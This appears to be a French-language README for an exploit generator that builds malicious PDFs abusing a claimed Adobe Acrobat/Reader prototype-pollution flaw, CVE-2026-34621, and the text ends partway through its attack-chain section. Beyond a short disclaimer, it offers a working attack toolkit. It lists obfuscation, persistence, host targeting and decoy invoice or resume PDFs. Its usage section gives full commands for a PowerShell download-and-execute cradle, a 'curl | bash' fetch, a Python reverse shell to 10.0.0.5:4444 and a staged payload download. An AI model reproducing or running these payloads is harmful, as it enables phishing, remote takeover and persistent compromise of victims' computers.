
Un générateur d'exploit sophistiqué et multiplateforme pour **CVE-2026-34621** – une vulnérabilité critique de pollution de prototype dans Adobe Acrobat et Reader qui conduit à une évasion de sandbox et à l'exécution de code arbitraire sur Windows et macOS.
Un générateur d'exploit sophistiqué et multiplateforme pour CVE-2026-34621 – une vulnérabilité critique de pollution de prototype dans Adobe Acrobat et Reader qui permet l'évasion de sandbox et l'exécution de code arbitraire sur Windows et macOS.
⚠️ AVERTISSEMENT IMPORTANT
Cet outil est destiné uniquement à la recherche en sécurité autorisée et aux tests d'intrusion.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2026-34621 est une vulnérabilité zero-day dans Adobe Acrobat et Reader qui permet à un attaquant de :
Ce générateur crée un fichier PDF malveillant qui, lorsqu'il est ouvert dans une version vulnérable d'Adobe Reader, exécute automatiquement une charge utile adaptée au système d'exploitation de la victime.
Plateformes cibles prises en charge :
| Catégorie | Capacités |
|---|---|
| Charges utiles multiplateformes | Détection automatique du système d'exploitation et sélection de la méthode d'exécution de commandes Windows ou macOS appropriée. |
| Vecteurs d'exécution multiples | cmd.exe, PowerShell, WScript.Shell (Windows) / Terminal.app, osascript (macOS). |
| Charges utiles par étapes | Téléchargement et exécution de charges utiles de deuxième étage depuis une URL distante. |
| Persistance | Installation d'une clé de registre Run (Windows) ou d'un LaunchAgent (macOS). |
| Techniques d'évasion | Trois niveaux d'obfuscation JavaScript, ciblage par environnement, délais d'exécution, code polymorphe. |
| Intégration de PDF leurre | Fusion de l'exploit dans un PDF d'apparence légitime (nécessite PyPDF2). |
| Déclencheurs multiples | OpenAction, action d'ouverture de page, ou JavaScript au niveau du document. |
| Rapports complets | Rapports HTML, TXT et JSON détaillant la configuration de la charge utile. |
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
Le script principal utilise uniquement la bibliothèque standard de Python. Pour la fonctionnalité de fusion de PDF leurre, installez PyPDF2 :
pip install PyPDF2
Générez un PDF de base qui ouvre la calculatrice sur Windows et macOS :
python3 cve_2026_34621_advanced.py -o test.pdf
Cela crée :
test.pdf – Le fichier PDF malveillant.
test_report.html – Rapport HTML détaillé.
test_report.txt – Résumé en texte brut.
test_config.json – Export de configuration JSON.
Commandes Windows
1-Scénario Commande
A-Popup calc.exe de base
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
Reverse shell PowerShell
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
Charge utile par étapes avec persistance
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
Ciblage par environnement (exécution uniquement sur "SALES-PC")
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
Avec niveau d'obfuscation 2 et délai de 10 secondes
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
Commandes macOS
2-Scénario Commande
Ouvrir la Calculatrice
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
Télécharger et exécuter un script
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
Reverse shell via Python
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
Persistance via LaunchAgent
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
Intégration dans un PDF leurre
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
3-Note sur les tests mobiles
Le script lui-même s'exécute sur ordinateur de bureau (Windows/macOS/Linux) pour générer le PDF. Le PDF généré peut être ouvert sur des appareils Android ou iOS, mais :
Les versions mobiles d'Adobe Acrobat Reader ne sont pas vulnérables à CVE-2026-34621.
La charge utile déclenchera un repli de démonstration bénin (ouverture d'une URL ou affichage d'une alerte) au lieu d'exécuter des commandes système.
Option Description
-o, --output FICHIER Obligatoire. Nom du fichier PDF de sortie.
--win CMD Commande Windows à exécuter (par défaut : calc.exe).
--mac CMD Commande macOS à exécuter (par défaut : open /System/Applications/Calculator.app).
--stage URL URL de téléchargement de la charge utile de deuxième étage.
-p, --persistence Installe le mécanisme de persistance (Registre/LaunchAgent).
-O, --obfuscate NIVEAU Niveau d'obfuscation JavaScript (0=aucun, 1=basique, 2=intermédiaire, 3=avancé).
-d, --delay SECONDES Retarde l'exécution du nombre de secondes spécifié.
-k, --key NOMHOTE Ciblage par environnement – exécution uniquement sur le nom d'hôte correspondant.
-l, --lure PDF Chemin vers un PDF légitime à utiliser comme leurre (fusionne l'exploit).
--trigger TYPE Vecteur de déclenchement : openaction, pageopen, ou doclevel.
--no-reports Ignore la génération des rapports HTML/TXT/JSON.
--seed N Définit la graine aléatoire pour une génération polymorphe reproductible.
Chaîne d'attaque
Pollution de prototype :
Le JavaScript intégré modifie Object.prototype pour injecter des propriétés malveillantes (__trusted, privileged, etc.). Cela perturbe la frontière de confiance du moteur JavaScript d'Adobe.
Escalade de contexte
En raison du prototype pollué, le moteur traite incorrectement le JavaScript de document non fiable comme s'il s'exécutait dans un contexte privilégié.
Accès aux API privilégiées